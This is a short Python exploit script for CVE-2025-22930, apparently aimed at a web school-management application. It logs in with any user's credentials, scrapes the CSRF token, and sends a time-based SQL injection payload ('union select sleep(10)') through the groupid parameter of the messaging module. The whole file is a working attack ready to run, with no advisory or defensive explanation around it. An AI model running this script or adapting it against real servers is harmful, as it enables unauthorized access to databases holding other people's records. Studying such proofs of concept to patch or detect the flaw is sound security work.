# CVE-2025-22930
# works with any role

import requests
import sys


if len(sys.argv) < 4:
    print("Usage: python CVE-2025-22930.py <url> <username> <password>")
    sys.exit(1)

base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

# setup session
session = requests.Session()
session.headers.update({'User-Agent': 'Mozilla/5.0'})

# get CSRF token
res = session.get(base_url + '/index.php')
token = res.text.split("TOKEN' value='")[1].split("'")[0]

# login
data = {
    'USERNAME': username,
    'PASSWORD': password,
    'TOKEN': token,
    'language': 'en',
    'log': ''
}
res = session.post(base_url + '/index.php', data=data)

# perform SQL injection
payload = '0+union+select+sleep(10),null,null,null,null,null,null'
res = session.get(f'{base_url}/Modules.php?modname=messaging/Group.php&modfunc=members&groupid={payload}', allow_redirects=False)
print(res.text)